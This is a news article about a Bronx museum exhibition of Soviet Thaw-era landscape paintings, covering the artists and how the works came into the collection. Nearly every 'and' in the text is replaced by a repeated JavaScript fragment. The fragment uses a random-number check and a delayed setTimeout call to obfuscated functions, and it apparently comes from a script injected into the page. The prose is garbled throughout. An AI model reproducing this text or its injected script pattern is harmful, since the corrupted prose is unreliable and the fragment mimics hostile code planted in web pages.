BRONX, N.Y. — Hebrew Home’s Derfner Judaica Museum at Riverdale presents the exhibition, “The Politics of Paint: Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape Painting in the Soviet Union, 1953–1964,” on view through April 20.

The exhibition features 14 works created between 1953 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1964 during the Thaw — a period of unprecedented artistic freedom in the Soviet Union following the death of the Soviet Premier Joseph Stalin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the rise of Nikita Khrushchev. Various Modernist styles emerged in painting at this time, influenced mainly by Impressionism andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Post-Impressionism.

Artists during the Thaw were given the freedom to work in previously banned styles, yet there remained an expectation that they would adhere to the party line, even among landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape painters. For example, Working-Class Impressionism — a term coined by scholar Dr Vern G. Swanson — combined an Impressionistic aesthetic with socialist content.

The work of Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Dubinchik, Vladimir Gavrilov, Alexey Morosov, Alexsei Pisarev andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Igor Popov, all of whom are in this exhibition, exemplify this approach. In particular, Gavrilov’s painting “Uglich, The Church of Iowan (Church of the Nativity of Saint John the Baptist),” 1963, with its nationalist subject, broad, loose brush strokes andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and luminous color palette, is a classic example of Working-Class Impressionism. It depicts a Seventeenth Century church in the historic town of Uglich, which sits along the Volga River — the unofficial national river of Russia.

From at least the 1920s, when many artists drew inspiration both from national styles, such as folk art, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and from Modernist sources, painting in Soviet Armenia was typically characterized by simplified schematic forms painted in vivid, saturated colors. Works included in this exhibition by Albert Papikian, Aram Kupetsian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Peter Shlikov depict familiar geographic landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andmarks that carry strong nationalistic overtones, demonstrating the persistence of this approach into the 1960s.

The paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and works on paper in this exhibit were all acquired from the Grosvenor Gallery in London. Founded in 1960 by art collector Eric Estorick andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his wife Salome, the gallery was a premier venue for Eastern European artists to exhibit in the West. Estorick was born in New York City in 1913, his family having emigrated from Russia to the United States in 1905 to escape anti-Semitism.

Jacob Reingold, the Hebrew Home’s executive director for almost four decades, met Estorick through a family connection. In the mid-1970s, with the assistance of donors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Estorick’s support, Reingold, an art lover who established the home’s renowned art program, was able to acquire many works from Grosvenor Gallery by artists mostly unknown in the West. Today, however, many of those artists — both Russians andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and others from former Soviet republics — have become recognized names in the history of Soviet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Russian art. Their works have been “rediscovered” in the Hebrew Home’s collection in recent years.

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